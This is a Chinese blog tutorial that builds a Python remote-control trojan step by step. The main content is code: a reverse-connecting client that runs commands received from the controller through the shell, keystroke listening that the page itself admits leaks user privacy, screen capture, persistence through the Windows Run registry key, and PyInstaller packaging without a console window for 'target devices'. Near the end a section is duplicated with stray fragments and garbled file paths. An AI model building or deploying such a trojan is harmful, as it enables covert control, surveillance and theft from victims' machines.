用python实现远程控制

用python实现远程控制
简介

远程控制程序是一个常见的计算机术语,指的是可以在一台设备上操纵另一台设备的软件。通常情况下,远程控制程序一般分成两个部分 —— 被控端和主控端。如果一台计算机上运行了被控端,那么会被另外一台装有主控端的计算机所控制。

在这里我们并不去考虑这些程序的目的是善意的还是恶意的,而是从技术的角度对其进行分类。实际上远程控制程序的分类标准有很多,这里只介绍两个最为常用的标准。

远程控制程序被控端与主控端的连接方式,按照不同的连接方式,我们可以将远程控制程序分为正向控制和反向控制两种。

正向控制 —— 如果说黑客所使用的远程控制程序是正向的,那么计算机A(被控端)在执行了这个远程控制程序服务器端之后,只会在自己的主机上打开一个端口,然后等待计算机Hacker(主控端)的连接。注意,此时计算机A并不会去主动通知计算机Hacker(而反向控制软件会),因此黑客必须知道计算机A的IP地址,这导致了正向控制在实际操作中具有很大的困难。
反向控制 —— 如果计算机A运行了被控制,那么它会主动去通知计算机Hacker,“嗨,我现在受你的控制了,请 你下命令吧”。因此黑客也无须知道计算机A的IP地址,只需要把这个远程控制的被控端发送给目标即可。

按照目标操作系统的不同而分类,我们平时在Windows上运行的软件大多是exe文件形式的,而Android上则大多是apk文件形式的。

编写一个基于SSH的远程控制程序

Telnet与SSH

通过Telnet和SSH可以在本地计算机上完成对远程主机的控制工作。由于这种控制是通过网络实现的,因此被控制的设备需要使用安全的认证机制,才能避免被人滥用。Telnet提供的认证机制是口令认证,而SSH则提供了口令认证和密钥认证两种方法。

SSH的信息加密机制可以有效防止远程控制过程中的信息泄露问题。实现SSH需要服务器和客户端软件协同工作,其中服务器端软件以一个守护进程的方式运行在被控制设备上,它在后台运行并响应来自客户端的连接请求。

基于口令的安全认证

这种认证机制使用的仍然是传统的”账号+密码”的方式,只有当网络管理人员输入合法授权的信息之后,服务器端才会接受控制请求。

基于密钥的安全认证

在这种认证机制中没有使用”账号+密码”的方式,而是使用一对密钥(公用密钥+私用密钥)来代替,其中服务器和客户端都要使用公用密钥,而私用密钥则由客户端单独保存

基于paramiko实现SSH客户端

paramiko是一个用SSH实现远程控制的python模块,paramiko中封装了SSH的各种功能,所以我们在编写程序时无须考虑加密和通信的具体实现。

安装paramiko

pip install paramiko

paramiko模块包含SSHClient()和SFTPClient()两个函数,其中SSHClient()函数用来实现命令的执行,SFTPClient()函数用来实现上传和下载操作。

使用SSHClient()函数的过程主要包含以下几个步骤。

(1) 创建SSHClient对象

Client = paramiko.SSHClient()

(2) 使用connect()函数并指定参数连接服务器端。如果使用基于口令的安全认证方式,那么connect()函数的连接方式如下。

Client.connect(hostname='*.*.*.*',port=22,username='*',password='*')

如果使用基于密钥的安全认证方式,那么connect()函数的连接方式如下。

Client.connect(hostname='*.*.*.*',port=22,username='*',pkey='*')

​ 其中hostname是服务器端所在主机的域名或者IP地址,port为SSH使用的端口(默认为22),username为用户名。两种连接方式的区别在于最后一个参数,前者使用的是密码,后者使用的是私用密钥。

​ 使用exec_command()函数执行系统命令如下。

stdin,stdout,stderr=Client.exec_command(‘ls’)

这里的stdin,stdout,stderr分别表示程序的标准输入,输出,错误句柄,参数cmd表示要执行的系统命令,格式为字符串。

使用paramiko实现的基于口令登录的客户端控制程序。

import paramiko
from paramiko import *
#创建SSHClient对象
client = paramiko.SSHClient()
#允许连接不在know_hosts文件中的主机
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#连接服务器
client.connect('192.168.1.64',22,'zulnger','123123')
stdin,stdout,stderr=client.exec_command('ls')
print(stdout.read()) #获取命令结果

如果需要编写一个基于密钥登录的客户端控制程序,首先需要生成密钥对,这个工作可以在linux中完成。

ssh-keygen -t rsa #产生一个密钥对

参数 -t rsa表示使用RSA算法进行加密,执行后会在**”/home/当前用户/.ssh**”目录下生成id_rsa(私钥)和id_rsa.pub(公钥)。将这个私钥复制到客户端之后,就可以使用如下的代码登陆并执行命令。

import paramiko
from paramiko import *
private_key_path='/home/user/.sh/id_rsa.pub'
key=paramiko.RSAKey.from_private_key_file(private_key_path)
#创建SSHClient对象
client = paramiko.SSHClient()
#允许连接不在know_hosts文件中的主机
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#连接服务器
client.connect('192.168.1.64',22,'zulnger','123123')
stdin,stdout,stderr=client.exec_command('df')
print(stdout.read()) #获取命令结果

使用SFTPClient()函数可以实现从服务器端下载文件和向服务器端上传文件的操作,实现步骤如下。

import paramiko
from paramiko import *
#建立客户端与服务器的连接
transport = paramiko.Transport(('192.168.1.64',22))
#通过服务器的认证,使用口令认证
transport.connect(username='admin',password='123456')
# #使用密钥认证
# private_key_path='/home/user/.ssh/id_rsa'
# key=paramiko.RSAKey.from_private_key_file(private_key_path)
# transport.connect(username='admin',pkey=key)
#创建sftp对象
sftp=paramiko.SFTPClient.from_transport(transport)
#上传
sftp.put('/tmp/text.py','/tmp/text_1.py')
#将text_1.py下载到本地
sftp.get('text_1.py','E:桌面资料')
transport.close()
编写一个远程控制程序的服务器端和客户端

如何使用python执行系统命令(subprocess模块)

在python中,我们可以通过标准库中的subprocess模块来创建一个新的子进程,并可以通过管道连接它的输入/输出/错误,以及获得它的返回值。

subprocess模块中主要包含3个用来创建子进程的函数:subprocess.call(),subprocess.run(),subprocess.Popen()。

"""
1.subprocess.call(args,*,stdin=None,stderr=None,shell=False)
2.subprocess.run(args,*,stdin=None,input=None,stdout=None,stderr=None,shell=False,timeout=None,check=False)
3.subprocess.Popen(args,bufsize=0,executable=None,stdin=None,stdout=None,stderr=None,preexec_fn=None,close_fds=False,shell=False,cwd=None,universal_newlines=False,startupinfo=None,creationflags=0)
"""
import subprocess
child=subprocess.call("notepad.exe")
print(child)

# res=subprocess.run(["cd","c:"],stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True)
# print(type(res))
# print(res)
# print('code:',res.returncode,'stdout:',res.stdout)


# child=subprocess.Popen(["ping","www.baidu.com"])
# child.wait()
# print("parent process")

编写一个执行指定系统命令的函数,执行的系统命令为显示C盘目录下的所有内容。

import subprocess
def run_command(command):
    command=command.rstrip()
    try:
        child=subprocess.run(command,shell=True)
    except:
        child='Cat not execute the command.
'
    return child
execute="dir c:"
output=run_command(execute)

远程控制的服务端与客户端(套接字模块实现)

套接字工作流程:

​ 客户端的工作流程

​ 服务器端的工作流程

客户端的程序如下:

import socket
str_msg=input("请输入要发送信息:")
s2=socket.socket()
s2.connect(("127.0.0.1",2345))
str_msg=str_msg.encode(encoding='gbk')
s2.send(str_msg)
print(str(s2.recv(1024)))
s2.close()

服务器端的程序如下:

import subprocess
import socket
def run_command(command):
    #rstrip()函数用来删除字符串末尾的指定字符(默认为空格)
    command=command.rstrip()
    print(command)
    try:
        child=subprocess.run(command,shell=True,stdout=subprocess.PIPE)
        print(child.stdout.decode('gbk'))
    except:
        child='Can not execute the command.
'
    return child

#创建套接字
s1=socket.socket()
#bind() 函数绑定了一个地址和端口。
s1.bind(("127.0.0.1",2345))
#isten() 函数将一个已经绑定到特定地址和端口的套接字设置为被动模式,使其能够接收来自客户端的连接请求。
s1.listen(5)
str = "Hello world"
while 1:
    #accept()获取请求的对象和地址
    conn,address=s1.accept()
    print("a new connect from",address)
    conn.send(str.encode(encoding='gbk'))
    #recv() 函数用于从已建立的连接中接收数据
    data=conn.recv(1024)
    data=bytes.decode(data)
    print("The command is"+data)
    output=run_command(data)
conn.close()

首先要启动serverTest.py,然后运行客户端程序clientTest.py,输入命令”dir d:”。

远程控制的服务器端和客户端(socketserver模块实现)

执行前面的服务器端和客户端程序之后可以发现虽然能成功执行命令,但是执行了我们写入的命令之后,两个程序就都退出了。如果我们希望能在客户端得到一个持续控制的命令行,还需要子客户端程序和服务器端程序中各自加入一个循环,这样一来程序中就出现了循环的嵌套,变得十分复杂。这里我们可以考虑使用另一个专门用来处理网络通信的模块socketserver。Socketserver模块是标准库中的一个高级模块,它可以简化客户端跟服务器端的程序。

创建和使用socketserver模块的流程如下。

(1) 创建一个请求处理的类,这个类要继承BaseRequestHandler类,并且要重写父类里的handle()方法

(2) 使用IP地址,端口和第一步创建的类来实例化TCPServer。

(3) 使用server.server_forever()函数处理多个请求,持续循环运行。

(4) 关闭连接server_close()函数。

在handle()方法里包含4个方法。

**init()方法:**初始化控制设置,初始化连接塔奥戒子,地址,处理实例等信息。

**handle()方法:**定义了如何处理每一个连接。

**setup()方法:**在handle()方法之前执行,一般用作设置默认之外的连接配置。

**finish()方法:**在handle()方法之后执行。

服务器端的程序如下:

import socketserver
import subprocess
class MyWebServer(socketserver.BaseRequestHandler):
    def handle(self):
        try:
            while True:
                self.data = self.request.recv(1024)
                print(self.data)
                print("{} send:".format(self.client_address),self.data)
                command = self.data.decode()
                command = command.rstrip()
                child =subprocess.run(command,shell=True)
                print(child.stdout.decode('gbk'))
                if not self.data:
                    print("connection lost")
                    break
                self.request.sendall(self.data.upper()) #sendall() 确保数据完整发送
        except Exception as e:
            print(self.client_address,"连接断开")

        finally:
            self.request.close()

    def setup(self):
        print("before handle,连接建立:",self.client_address)
    def finish(self):
        print("after handle")

if __name__ == "__main__":
    HOST,PORT="127.0.0.1",9999
    server =socketserver.TCPServer((HOST,PORT),MyWebServer)
    server.serve_forever()

客户端的程序如下:

import socket
client=socket.socket()
client.connect(("127.0.0.1",9999))
while True:
    cmd=input("(quit 退出 >>").strip()
    if len(cmd) ==0:
        continue
    if cmd == "quit":
        break
    client.send(cmd.encode())
    cmd_res=client.recv(1024)
    print(cmd_res.decode())
client.close()

客户端可以多次发送请求,服务器端可以同时处理多个连接。即使某个连接报错了,也不会导致程序停止,服务器端会持续运行,与其他客户端通信。

编写一个反向的木马

反向木马的被控端中写有主控端的IP地址。被控端一旦在目标设备上运行,就会主动去通知主控端,此时黑客在主控端就可以发送命令来控制被控端了。

被控端的工作流程:

程序实现:

import subprocess
import socket
def run_command(command):
    command=command.rstrip()
    print(command)
    try:
        child = subprocess.run(command,shell=True)
    except:
        child='Can not execute the command.
'
    return child

client=socket.socket()
client.connect(('127.0.0.1',9999))
while True:
    Message = "welcome"
    client.send(Message.encode())
    data = client.recv(1024)
    print(data.decode())
    output = run_command(data) #执行接收到的命令
client.close()

主控端的工作流程:

程序实现:

import socketserver
class MyTCPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        try:
            while True:
                self.data =self.request.recv(1024)
                cmd=input("(quit 退出 >>").strip()
                if len(cmd) == 0:
                    continue
                if cmd == "quit":
                    break
                if not self.data:
                    print("connection lost")
                    break
                self.request.sendall(cmd.encode())
        except Exception as e:
            print(self.client_address,"连接断开")
        finally:
            self.request.close()

    def setup(self):
        print("before handle,连接建立:",self.client_address)
    def finish(self):
        print("finish run after handle")

if __name__ == "__main__":
    HOST,PORT="127.0.0.1",9999
    server = socketserver.TCPServer((HOST,PORT),MyTCPHandler)
    server.serve_forever()
编写键盘监听程序

之前我们实现了一对可以通信的主控端和被控端,只需要在目标设备上运行了被控端,之后就可以在主控端进行远程控制,现在我们进一步来丰富被控端的功能,首先为其添加第一个功能:键盘监听

当键盘监听程序运行时,每当用户按下键盘,他的每个操作都会被程序记录下来。这样会导致用户隐私信息的泄露。

Windows提供了一种Hook技术(也称为钩子函数),通过它可以使用代码来控制正在执行的程序。在python3中有两个可以实现这种功能的模块:PyHook3(需要Python3.2以上的Python版本)和pynput(此处需要特意测试PyHook3和pythoncom的安装)。

pynput是一个python库,它可以实现控制和监听鼠标和键盘输入。

安装pynput

pip install pynput

键盘控制

from pynput.keyboard import Key,Controller as  c_keyboard
from pynput.mouse import Button,Controller as c_mouse
from time import sleep

keyboard = c_keyboard()

#字母和数字
# keyboard.press('a') #模拟按下键盘的某个键
# sleep(0.2)
# keyboard.release('a') #模拟释放被按下的键
# keyboard.press('1')
# keyboard.release('1')

#非数字组合
# keyboard.press(Key.enter)
# keyboard.release(Key.enter)

# #组合  全选
# keyboard.press(Key.ctrl)
# keyboard.press('a')
# sleep(0.2)
# keyboard.release('a')
# keyboard.release(Key.ctrl)


keyboard.press(Key.alt)
keyboard.press(Key.f4)
sleep(0.2)
keyboard.release(Key.f4)
keyboard.release(Key.alt)
#练习题
from pynput.keyboard import Key,Controller as c_keyboard
from time import sleep
import os


class Notepad:
    def __init__(self):
        self.keyboard = c_keyboard()

    def openNotepad(self):
        # 打开记事本
        os.startfile('notepad.exe')
        sleep(5)

    def Editorial(self,string):
        # 输入内容
        for char in string:
            self.keyboard.type(char)
            sleep(0.3)

    def SaveNotepad(self):
        #保存并关闭记事本
        self.keyboard.press(Key.ctrl)
        self.keyboard.press('s')
        sleep(0.5)
        self.keyboard.release('s')
        self.keyboard.release(Key.ctrl)
        sleep(1) #等待对话框的出现

        #输入文件名并保存
        self.keyboard.type('test.txt')
        self.keyboard.press(Key.enter)
        self.keyboard.release(Key.enter)
        sleep(1)  #等待保存完成

    def close(self):
        self.keyboard.press(Key.alt)
        self.keyboard.press(Key.f4)
        sleep(0.2)
        self.keyboard.release(Key.f4)
        self.keyboard.release(Key.alt)




if __name__ == '__main__':
    notepad=Notepad()
    notepad.openNotepad()
    content='今天是星期二 2025.5.27'
    notepad.Editorial(content)
    notepad.SaveNotepad()
    notepad.close()

鼠标控制

from pynput.mouse import Button,Controller as c_mouse
from pynput.keyboard import Key,Controller as c_keyboard
from time import sleep

mouse=c_mouse()
#双击
mouse.click(Button.left)
sleep(1)
mouse.click(Button.right)
mouse.press(Button.right)
mouse.release(Button.right)
print(mouse.position)
#x轴坐标
print(mouse.position[0])
#y轴坐标
print(mouse.position[1])
# 移动绝对坐标
mouse.position=(300,2)
mouse.move(400,2)
#滑动
mouse.press(Button.left)
mouse.move(500,2)
mouse.release(Button.left)

监听指定窗口

import time
from pynput import keyboard
import pygetwindow as gw
import os

# 监听指定窗口的输入
class WindowKeyListener:
    def __init__(self, window_title):
        self.window_title = window_title
        self.listener = None

    def on_press(self, key):
        try:
            # 获取当前活动窗口
            active_window = gw.getActiveWindow()
            if active_window and active_window.title == self.window_title:
                print(f"Pressed {
                  key.char} in {
                  self.window_title}")
        except AttributeError:
            pass

    def on_release(self, key):
        if key == keyboard.Key.esc:
            # 停止监听
            print("Stopping listener...")
            self.listener.stop()

    def start_listening(self):
        # 创建键盘监听器
        self.listener = keyboard.Listener(on_press=self.on_press, on_release=self.on_release)
        self.listener.start()
        print(f"Listening for key presses in window: {
                  self.window_title}")
        self.listener.join()

# 打开记事本
os.startfile('notepad.exe')
time.sleep(2)  # 等待记事本启动

# 确保记事本窗口是当前活动窗口
try:
    notepad_window = gw.getWindowsWithTitle('无标题 - 记事本')[0]
    notepad_window.activate()
except IndexError:
    print("记事本窗口未找到")
    exit()

# 创建并启动监听器
key_listener = WindowKeyListener('无标题 - 记事本')
key_listener.start_listening()
用python实现截图功能

python图像处理库(Python Image Library,PIL)是Python的第三方图像处理库,由于其强大的功能与众多的使用人数,它几乎已经被认为是Python的官方图像处理库了。PIL库历史悠久,原来只支持Python2.x的,后来出现了移植到了Python3的库Pillow(但是在调用时仍然使用PIL)。

这个库中主要有两个方法。

**PIL.ImageGrab.grab()方法:**作用是截取屏幕指定范围内的图像,默认截取全屏。

from PIL import ImageGrab
#截屏操作
img=ImageGrab.grab()
#显示截取的内容
img.show()

**PIL.ImageGrab.grabclipboard()方法:**作用是获取剪切板内的图像。

from PIL import Image, ImageGrab
#截屏操作
img=ImageGrab.grabclipboard()
if isinstance(img,Image.Image):  #检查img对象是否实例化成功
    img.save("D:\a.jpg")
else:
    print("clipboard is empty")

使用python控制注册表

我们要考虑的是目标设备的重启,我们需要使用一些方法来保证每次操作系统重启,我们编写的Python程序都会自动启动。

在Linux中可以通过在/etc/rd.d/rc.local文件行尾添加要执行脚本的路径来实现程序自动启动。而在Windows中可以通过将要执行的程序放置到操作系统的启动文件目录Startup中来实现程序自动启动,我们将通过Windows中的强大工具 ——注册表(Registry)来完成这项工作

在各个版本的Windows中都可以使用”regedit”命令启动注册表

我们对注册表可以进行以下操作:

创建项和项值
更新项的数据。
删除项,子项或值项
查找项,值项或数据

在Python中可以使用winreg模块来完成以上的操作,其中比较常用的函数包括OpenKeyEx()(打开),CreateKey()(创建),SetValueEx()(添加),DeleteValue()(删除)和CloseKey()(关闭)。

import winreg
strings=r"C:Usersoffice	est_Appcases	est77777.py"
key=winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,r"SOFTWAREMicrosoftWindowsCurrentVersionRun",0,winreg.KEY_ALL_ACCESS)
newKey=winreg.CreateKey(key,"MyNewKey")
winreg.SetValueEx(key,"MyNewKey",0,winreg.REG_SZ,strings)
winreg.CloseKey(key)

用python控制系统进程

程序和进程的区别:程序是静态的,进程是动态的。进程可以分为系统进程和用户进程。凡是用于完成操作系统的各种功能的进程就是系统进程,它们就是处于运动状态下的操作系统本身,用户进程就是所有由用户启动的进程。

psutil库是一个跨平台库,它能够轻松实现获取系统运行的进程和系统利用率(包括CPU,内存,磁盘,网络等)信息。它主要用于系统监控,性能分析,进程管理等。psutil库几乎支持当前所有的主流操作系统。使用psutil库查看所有进程的命令如下。

psutil.pids()

import psutil
print("=====================显示所有的进程=======================")
#显示进程信息
pids=psutil.pids()
for pid in pids:
    p=psutil.Process(pid)
    #通过pid显示进程名称
    process_name=p.name()
    # process_exe=p.exe()
    # process_cwd=p.cwd()
    process_status=p.status()
    process_createTime=p.create_time()
    # process_uids=p.uids()
    # process_gids=p.gids()
    # process_cpu_times=p.cpu_times()
    # process_memory_percent=p.memory_percent()
    print("process_name:%s"%process_name,"---process_status:%s"%process_status,"----process_createTime:%s"%process_createTime)
import psutil
import os
import signal
#显示进程信息
pids=psutil.pids()
for pid in pids:
    p=psutil.Process(pid)
    #通过pid显示进程名称
    process_name=p.name()
    if '测试窗口.exe' == process_name:
        print("结束进程:name(%s)-pid(%s)"%(process_name,pid))
        os.kill(pid,signal.SIGINT) #结束进程的函数
exit(0)

将Python脚本转化为exe文件

实现的脚本在执行时需要Python环境和模块文件的支持,而目标设备上往往不具备这种条件。如果将使用Python编写的远程控制程序变成在Windows中可以执行的exe文件,就可以解决这个问题。目前可以使用的工具有py2exe模块和PyInstaller模块,其中py2exe模块对Python3.5以上版本的支持存在一些问题,所以这里我们使用PyInstaller模块将Python脚本转化为exe文件。

若需将某一个文件打包,只需要使用如下命令执行,需要注意的是这个命令并不在Python环境中执行,而是在Windows的命令行中执行。

pyinstaller xxx.py

这个命令可以使用如下的选项进行修改。

-F:打包后只生成单个exe文件。
-D:默认选项,创建一个目录,包含exe文件以及大量依赖文件。
-c:默认选项,使用控制台
-w:不使用控制台
-p:添加搜索路径,让其找到对应的库。
-i:改变生成程序的icon图标。

pyinstaller C:Usersoffice est_Appcases est est_5555.py -F

当成功执行这条命令之后,你就可以看到已经在指定位置成功生成了exe文件。

.kill(pid,signal.SIGINT) #结束进程的函数
exit(0)


- **将Python脚本转化为exe文件**

实现的脚本在执行时需要Python环境和模块文件的支持,而目标设备上往往不具备这种条件。如果将使用Python编写的远程控制程序变成在Windows中可以执行的exe文件,就可以解决这个问题。目前**可以使用的工具有py2exe模块和PyInstaller模块**,其中py2exe模块对Python3.5以上版本的支持存在一些问题,所以这里我们使用PyInstaller模块将Python脚本转化为exe文件。

若需将某一个文件打包,只需要使用如下命令执行,需要注意的是这个命令并不在Python环境中执行,而是在Windows的命令行中执行。

**pyinstaller xxx.py**

这个命令可以使用如下的选项进行修改。

- -F:打包后只生成单个exe文件。
- -D:默认选项,创建一个目录,包含exe文件以及大量依赖文件。
- -c:默认选项,使用控制台
- -w:不使用控制台
- -p:添加搜索路径,让其找到对应的库。
- -i:改变生成程序的icon图标。

**pyinstaller    C:Usersoffice	est_Appcases	est	est_5555.py -F**

当成功执行这条命令之后,你就可以看到已经在指定位置成功生成了exe文件。



© 版权声明
THE END
如果内容对您有所帮助,就支持一下吧!
点赞0 分享
吖是小土豆11的头像 - 宋马
评论 抢沙发

请登录后发表评论

    暂无评论内容